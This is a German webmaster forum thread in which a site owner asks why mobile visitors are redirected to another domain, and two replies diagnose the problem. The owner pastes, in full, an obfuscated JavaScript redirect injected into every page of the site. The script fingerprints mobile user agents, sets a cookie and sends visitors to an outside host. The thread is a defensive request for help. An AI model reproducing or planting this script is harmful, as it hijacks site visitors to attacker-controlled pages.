Ankündigung

Einklappen
Keine Ankündigung bisher.

Merkwürdiger Redirect

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Merkwürdiger Redirect

    Hallo Forum,
    seit einiger Zeit haben wir auf unserer Firmenhomepage ein Problem. Sobald man mit einem mobilen Gerät myflow365.de aufruft, wird man zu getthere.info weitergeleitet, das einen dann wiederum auf eine andere Seite weiterleitet.
    In der Datenbank fand ich folgenden Code am Schluss aller unserer Seiten und Postings:

    <script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x 69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\ x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\ x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\ x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x6 5\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\ x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62 \x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74 \x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61 \x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x 70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65 \x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6 E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iem obile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar (ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|b umb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a |jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t (\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran |owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(4 0|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98 )|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

    Was macht der, und könnte der für die Misere verantwortlich sein?

  • #2
    Hallo, ich bin da kein Spezialist für diese Scripte.
    Aber die Website wird auch auf meinen desktop schon an eine andere Site weitergeleitet.
    Für Weiterleitungen und redirect ist aber die htaccess hauptsächlich verantwortlich, ist die o.k.?
    Ob es da auch für mobile eine möglich gibt, kenne ich zwar nicht, aber die htaccess sollte mal geprüft werden.
    viele grüße
    gerhard

    Kommentar


    • #3
      Zitat von saigkill Beitrag anzeigen
      Was macht der, und könnte der für die Misere verantwortlich sein?
      Der Script macht die Weiterleitung, schau im htaccess nach ob das was von vodafone steht und lösche es. Das Script muss gelöscht werden.
      Ich schätze ihr habt WP? Der Virus kommt üblicherweise über ein Plugin.
      https://arnego2.com <Webseiten, Umbau ab €80 und einiges mehr>

      VPS 8GB RAM 50 GB ROM < Server in der EU, 1rstes Jahr €37

      Kommentar

      homepage-forum.de - Hilfe für Webmaster! Statistiken

      Einklappen

      Themen: 56.688   Beiträge: 429.020   Mitglieder: 28.453   Aktive Mitglieder: 108
      Willkommen an unser neuestes Mitglied, paul99.

      Online-Benutzer

      Einklappen

      128 Benutzer sind jetzt online. Registrierte Benutzer: 3, Gäste: 125.

      Mit 3.502 Benutzern waren am 23.01.2020 um 17:20 die meisten Benutzer gleichzeitig online.

      Die neuesten Themen

      Einklappen

      • Localfu
        Antwort auf Recht auf Herausgabe der Website-Login Daten
        (keine Rechtsberatung - könnte Fehler enthalten)

        Hi ThomasZ. , natürlich hat der Kunde das Recht die Zugangsdaten zu erhalten. Es ist quasi seine Seite und wurdest nur beauftragt entweder die Seite zu erstellen und/oder zu verwalten. Du solltest bei Nachfrage ohne Begründung die Daten...
        Gestern, 18:13
      • arnego2
        Antwort auf Recht auf Herausgabe der Website-Login Daten
        Wenn er den Server zahlt na klar, wenn ich eine Seite auf meinen Server habe dann nicht.
        Sollte er es trotzdem wollen suche ich ihm einen Server. Klar Jimdo, Wix etc Webseiten machen wir nicht....
        Gestern, 14:52
      • arnego2
        Antwort auf tree.js läuft irgendwie nicht ;(
        Du solltest mehr Details rausgeben, welches Program du nutzt, ob mit Windows, MAC oder Linux und welche Distro.
        Etwas mehr was du planst mit tree.js sowie den boilerplatte starter kits.
        Neue Techniken sind ja gut und schön aber sehe es dir an wie lazyloading von voll hipp zu nicht mehr...
        Gestern, 14:49
      • paul99
        tree.js läuft irgendwie nicht ;(
        problem gelöst danke.....
        Gestern, 13:03
      • ThomasZ.
        Recht auf Herausgabe der Website-Login Daten
        Ich habe als Webagentur einen Kunden, für den ich vor Jahren eine Jimdo - Webseite gemacht habe und ich im Dashboard als Rechnungsempfänger und Ansprechpartner eingetragen bin. Einen offiziellen Vertrag für die Pflege und Aktualisierung für die Website habe ich mit
        dem Kunden allerdings...
        Gestern, 12:48

      Die neuesten Beiträge

      Einklappen

      Lädt...
      X